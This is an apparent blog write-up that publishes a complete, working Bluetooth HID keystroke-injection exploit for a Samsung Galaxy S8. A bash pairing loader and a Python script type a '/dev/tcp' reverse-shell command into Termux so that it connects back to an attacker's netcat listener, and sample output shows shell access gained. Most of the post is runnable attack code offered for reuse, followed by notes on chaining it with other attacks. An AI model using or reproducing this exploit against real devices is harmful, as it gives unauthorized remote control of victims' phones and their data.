Home Bluetooth HCI HID Controller abuse RCE exploit
Post

Bluetooth HCI HID Controller abuse RCE exploit

Phone Bluetooth

The Words of Caution

This writeup is a lesson in what happens when we are not, and why we should be very, very cautious of what bluetooth devices we pair to. We’ll start with this, just to set the stage for what’s to come.

Pwnt a smartphone in under a minute, simply by connecting to a rouge bluetooth device. Who’da thunk?

The Attack

This was actually pretty simple, you probably have already guessed what I’m doing here, and it is really pretty obvious. I’m loading some code that brings up a bluetooth connection in the context of a HID keyboard, sending HCI events and HID control codes to the phone, tediously designed so that I can pull up finder, search for and launch Termux, then enter a command that pushes a reverse shell back out over the network to my attacking computer.

Here is the full code if you’d like to get the attack working, although, keep in mind it will probably need major tweaks to get working on anything except a Samsung Galaxy S8 phone.

The file we run to start the exploit,

1
run.sh
:

#PHONE="08:AE:D6:6F:DD:F8"
#LOCAL_IP="10.0.2.2"

# oxagast / Marshall Whittaker
# 0day as of Apr 21, 2023
# if you get caught using this...
# In loving memory of Jason Reynolds aka Gemani
# Hope the computers are faster wherever you're at bro!
#
# Tested on a Samsung Galaxy S8 running Android 9
# Termux must be installed on the device.
#
# [?] Samsung S8 android 9 HID controller exploit
# [?] Tested on Build PPR1.180610.001.G950USQU8DUJ1
# [?] In memory of Jason Reynolds / Gemani
#
# [*] Building reverse shell for 10.0.2.2:6543
# [*] Pairing to 08:AE:D6:6F:DD:F8
# [!] Paired 08:AE:D6:6F:DD:F8 to DC:53:60:6C:FC:B3
# [!] Go to another terminal and start a netcat listener on port  to handle the shell!
# [*] Registered HID profile
# [!] Ready, waiting for connection from phone
# [*] Control channel connected to 08:AE:D6:6F:DD:F8
# [*] Interrupt channel connected to 08:AE:D6:6F:DD:F8
# [!] Building shell...
# [*] Trying to attain control over device...
# [*] Sending back to home screen...
# [*] Trying to pull up finder...
# [*] Trying to find termux...
# [*] Pushing shellcode now...
# listening on [any] 6543 ...
# ^C
# [!] Trying again...
# listening on [any] 6543 ...
# connect to [10.0.2.2] from nerkon [10.0.2.5] 51818
# ~ $ ls -al
# ls -al
# total 16
# drwx------ 3 u0_a466 u0_a466 4096 Apr 20 21:15 .
# drwxrwx--x 4 u0_a466 u0_a466 4096 Apr 20 21:12 ..
# -rw------- 1 u0_a466 u0_a466 1334 Apr 21 23:52 .bash_history
# drwx------ 2 u0_a466 u0_a466 4096 Apr 20 21:12 .termux
# ~ $ uname -a; id
# uname -a; id
# Linux localhost 4.4.153-17214672 #2 SMP PREEMPT Thu Oct 21 19:08:15 KST 2021 aarch64 Android
# uid=10466(u0_a466) gid=10466(u0_a466) groups=10466(u0_a466),3003(inet),9997(everybody),20466(u0_a466_cache),50466(all_a466)
# ~ $
#

PHONE=$1
LOCAL_IP=$2

if [ $# -eq 2 ]; then
  echo "[?] Samsung S8 android 9 HID controller exploit"
  echo "[?] Tested on Build PPR1.180610.001.G950USQU8DUJ1"
  echo "[?] In memory of Jason Reynolds / Gemani"
  echo
  echo "[*] Building reverse shell for ${LOCAL_IP}:6543"
  echo "[*] Pairing to ${PHONE}"
  CONTR=`echo "power on\n\nshow\n\ndiscoverable on\n\npair ${PHONE}\n\ntrust ${PHONE}\n\nconnect ${PHONE}\n\n" | bluetoothctl | grep Controller | cut -d ' ' -f 2`
  echo "[!] Paired ${PHONE} to ${CONTR}"
  echo "[!] Go to another terminal and start a netcat listener on port ${LOCAL_PORT} to handle the shell!"
  python3 rougetooth.py "${CONTR}" "${PHONE}" "${LOCAL_IP}"
else
  echo "Sorry, the syntax is $0 [PHONE BT MAC] [LOCAL IP]"
fi

A pretty straightforward loader script that gathers the information needed to run the python part of the sploit. This would be the attacking ip (

1
LOCAL_IP
), the phone’s MAC address (
1
PHONE
), and the bluetooth controller address we’re pairing with on the laptop (
1
CONTR
).

Next we have our HID control code injection script,

1
rougetooth.py
:

#!/usr/bin/python3

# oxagast / Marshall Whittaker

import sys
import os
import time
import multiprocessing
from bthid import BluetoothHIDService
from dbus.mainloop.glib import DBusGMainLoop

pcmacaddr = sys.argv[1]
phmacaddr = sys.argv[2]
pcipaddr = sys.argv[3]

def macr(send_call_back):
  def home_scr():
    for _ in range(2):
      kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x29, 0x00, 0x00, 0x00, 0x00, 0x00])
      send_call_back(bytes(kstate))
      time.sleep(0.3)
      kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00])
      send_call_back(bytes(kstate))

  def find_scr():
    for _ in range(5):
      kstate = bytearray([0xA1, 0x01, 0x08, 0x00, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00])
      send_call_back(bytes(kstate))
      time.sleep(0.5)
      kstate = bytearray([0xA1, 0x01, 0x08, 0x00, 0x9D, 0x00, 0x00, 0x00, 0x00, 0x00])
      send_call_back(bytes(kstate))

  def kbtab():
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x2B, 0x00, 0x00, 0x00, 0x00, 0x00])
    send_call_back(bytes(kstate))
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00])
    send_call_back(bytes(kstate))

  def kbreturn():
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00])
    send_call_back(bytes(kstate))

  def go_back():
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0xF1, 0x00, 0x00, 0x00, 0x00, 0x00])
    send_call_back(bytes(kstate))

  def kbdown():
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x5B, 0x00, 0x00, 0x00, 0x00, 0x00])
    send_call_back(bytes(kstate))
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00])
    send_call_back(bytes(kstate))

  def kbright():
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x00, 0x00])
    send_call_back(bytes(kstate))
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00])
    send_call_back(bytes(kstate))

  def drop_menu():
    kstate = bytearray([0xA1, 0x01, 0x08, 0x00, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00])
    send_call_back(bytes(kstate))

  def my_files():
    find_scr()
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00])
    send_call_back(bytes(kstate))
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00])
    send_call_back(bytes(kstate))
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x00])
    send_call_back(bytes(kstate))
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00])
    send_call_back(bytes(kstate))
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00])
    send_call_back(bytes(kstate))
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00])
    send_call_back(bytes(kstate))
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00])
    send_call_back(bytes(kstate))
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00])
    send_call_back(bytes(kstate))

  def termux():
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00])
    send_call_back(bytes(kstate))
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00])
    send_call_back(bytes(kstate))
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00])
    send_call_back(bytes(kstate))
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00])
    send_call_back(bytes(kstate))
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00])
    send_call_back(bytes(kstate))
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x1B, 0x00, 0x00, 0x00, 0x00, 0x00])
    send_call_back(bytes(kstate))
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00])
    send_call_back(bytes(kstate))


  def shellcode():
    time.sleep(5)
    waitforshell()
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00])  # b
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00])  # a
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00])  # s
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00])  # h
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x00]) #
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x2D, 0x00, 0x00, 0x00, 0x00, 0x00]) # -
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00]) # i
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x00]) #
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x02, 0x00, 0x37, 0x00, 0x00, 0x00, 0x00, 0x00]) # >
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x02, 0x00, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00]) # &
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x00]) #
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00]) # /
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00]) # d
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00]) # e
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x19, 0x00, 0x00, 0x00, 0x00, 0x00]) # v
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00]) # /
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00]) # t
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00]) # c
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x13, 0x00, 0x00, 0x00, 0x00, 0x00]) # p
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00]) # /
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    ipaddr()   # this function turns the ip address entered into keycodes
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00]) # /
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x23, 0x00, 0x00, 0x00, 0x00, 0x00]) # 6
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x22, 0x00, 0x00, 0x00, 0x00, 0x00]) # 5
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00]) # 4
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00]) # 3
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x00]) #
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x27, 0x00, 0x00, 0x00, 0x00, 0x00]) # 0
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x02, 0x00, 0x37, 0x00, 0x00, 0x00, 0x00, 0x00]) # >
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x02, 0x00, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00]) # &
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x1E, 0x00, 0x00, 0x00, 0x00, 0x00]) # 1
    send_call_back(bytes(kstate))

  def nokey():
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00]) # dummy key
    send_call_back(bytes(kstate))

  def caps():
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x39, 0x00, 0x00, 0x00, 0x00, 0x00])  # caps off
    send_call_back(bytes(kstate))

  def ipaddr():
    addr = pcipaddr
    for intchr in [*addr]:
      if intchr != "." and intchr != "0":
        decchr = int(intchr) + 30 - 1
        kstate = bytearray([0xA1, 0x01, 0x00, 0x00, decchr, 0x00, 0x00, 0x00, 0x00, 0x00])  # caps off
        send_call_back(bytes(kstate))
        time.sleep(0.1)
      if intchr == ".":
        kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x37, 0x00, 0x00, 0x00, 0x00, 0x00])  # caps off
        send_call_back(bytes(kstate))
        time.sleep(0.1)
      if intchr == "0":
        kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x27, 0x00, 0x00, 0x00, 0x00, 0x00])  # caps off
        send_call_back(bytes(kstate))
        time.sleep(0.1)

  def waitforshell(): # this is so the netcat listener has time to start
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00])  # s
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00])  # l
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00])  # e
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00])  # nop
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00])  # e
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x13, 0x00, 0x00, 0x00, 0x00, 0x00])  # p
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x00])  #
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00])  # 4
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x00])  #
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x02, 0x00, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00])  # &
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00])  # nop
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x02, 0x00, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00])  # &
    send_call_back(bytes(kstate))
    time.sleep(0.1)
    kstate = bytearray([0xA1, 0x01, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x00])  #
    send_call_back(bytes(kstate))
    time.sleep(0.1)

  print("[!] Building shell...")
  print("[*] Trying to attain control over device...")
  print("[*] Sending back to home screen...")
  go_back()
  home_scr()
  time.sleep(1.2)
  print("[*] Trying to pull up finder...")
  find_scr()
  time.sleep(0.3)
  print("[*] Trying to find termux...")
  termux()
#  time.sleep(0.5)
#  kbtab()
  time.sleep(0.2)
  kbdown()
  time.sleep(0.2)
  kbreturn()
  time.sleep(0.2)
  kbreturn()
  time.sleep(0.2)
  kbreturn()
  print("[*] Pushing shellcode now...")
  for _ in range(4):
    caps()
    kbreturn()
    kbreturn()
    shellcode()
    print("[!] Back that big ass up guuuuuurl!")
    kbreturn()
    listen_ret = os.system("nc -l -p 6543 -v -w 10")
    if listen_ret == 0:
      break
    else:
      print("[*] Connect timed out, trying again...")
      time.sleep(1)

if __name__ == '__main__':
  DBusGMainLoop(set_as_default=True)
  srec = open("sdp_record_kbd.xml").read()
  try:
    bthid_srv = BluetoothHIDService(srec, pcmacaddr)
    macr(bthid_srv.send)
  finally:
    print("[x] Exploit complete!")

This is basically a HID/HCI_EVT injection macro, but in keycodes translated into something the bluetooth controller can understand. Each kstate is the state of the keyboard at time of control code injection. I have it subrouteined out to make it easier to build shellcode for other devices in this manner later.

There is also a control script for the blueooth controller, which I did not write, I shamelessl lifted this library

1
bthid.py
from Alkaid-Benetnash’s EmuBTHID, big thanks!

import dbus
import dbus.service
import os
import socket


class BluetoothHIDProfile(dbus.service.Object):
    def __init__(self, bus, path):
        super(BluetoothHIDProfile, self).__init__(bus, path)
        self.fd = -1

    @dbus.service.method("org.bluez.Profile1", in_signature="", out_signature="")
    def Release(self):
        raise NotImplementedError("Release")

    @dbus.service.method("org.bluez.Profile1", in_signature="", out_signature="")
    def Cancel(self):
        raise NotImplementedError("Cancel")

    @dbus.service.method("org.bluez.Profile1", in_signature="oha{sv}", out_signature="")
    def NewConnection(self, path, fd, properties):
        self.fd = fd.take()
        print("[*] New Connection from (%s, %d)" % (path, self.fd))
        for k, v in properties.items():
            if k == "Version" or k == "Features":
                print("    %s = 0x%04x " % (k, v))
            else:
                print("    %s = %s" % (k, v))

    @dbus.service.method("org.bluez.Profile1",
                         in_signature="o", out_signature="")
    def RequestDisconnection(self, path):
        print("RequestDisconnection(%s)" % (path))

        if (self.fd > 0):
            os.close(self.fd)
            self.fd = -1


def error_handler(e):
    raise RuntimeError(str(e))


class BluetoothHIDService(object):
    PROFILE_PATH = "/org/bluez/bthid_profile"

    HOST = 0
    PORT = 1

    def __init__(self, service_record, MAC):
        self.P_CTRL = 0x0011
        self.P_INTR = 0x0013
        self.SELFMAC = MAC
        bus = dbus.SystemBus()
        bluez_obj = bus.get_object("org.bluez", "/org/bluez")
        manager = dbus.Interface(bluez_obj, "org.bluez.ProfileManager1")

        BluetoothHIDProfile(bus, self.PROFILE_PATH)
        opts = {
            "ServiceRecord": service_record,
            "Name": "BTKeyboardProfile",
            "RequireAuthentication": False,
            "RequireAuthorization": False,
            "Service": "MY BTKBD",
            "Role": "server"
        }

        sock_control = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_SEQPACKET, socket.BTPROTO_L2CAP)
        sock_control.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        sock_inter = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_SEQPACKET, socket.BTPROTO_L2CAP)
        sock_inter.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        sock_control.bind((self.SELFMAC, self.P_CTRL))
        sock_inter.bind((self.SELFMAC, self.P_INTR))
        manager.RegisterProfile(self.PROFILE_PATH, "00001124-0000-1000-8000-00805f9b34fc", opts)
        print("[*] Registered HID profile")
        sock_control.listen(1)
        sock_inter.listen(1)
        print("[!] Ready, waiting for connection from phone")
        self.ccontrol, cinfo = sock_control.accept()
        print("[*] Control channel connected to " + cinfo[self.HOST])
        self.cinter, cinfo = sock_inter.accept()
        print("[*] Interrupt channel connected to " + cinfo[self.HOST])

    def send(self, bytes_buf):
        self.cinter.send(bytes_buf)

Conclusion

This about ends any reason to be connecting to any bluetooth device that you do not, yourself, own, and know is not waiting to spit out an exploit as soon as you connect. There are other attacks that could possibly be coupled with this one, such as a ‘KNOB’ attack, whereby the key entropy length can be changed to 1 and, subsequently simplifying brute force, letting you jump on an already paired device’s connection, possibly allowing this attack to take place without pairing it first, but this has not been demonstrated (by me), yet. I’d like to see what other types of attacks I can run over bluetooth, so I may have a follow up to this writeup. Note using this attack it is simple to do things like, say, turn on USB debugging, or force file tarnsfers to be accepted. I have notified Samsung of this attack, and say that this is intended behavior, and that since the device needs pairing for this to work, the device is hence trusted, and my attack is more just malicious than an exploit, and that is fair. But it’s still cool. Thanks for reading! Happy hacking!


If you enjoy my work, sponsor or hire me! I work hard keeping oxasploits running!
Bitcoin Address:
bc1qq7vvwfe7760s3dm8uq28seck465h3tqp3fjq4l

Thank you so much and happy hacking!
This post is licensed under CC BY 4.0 by the author.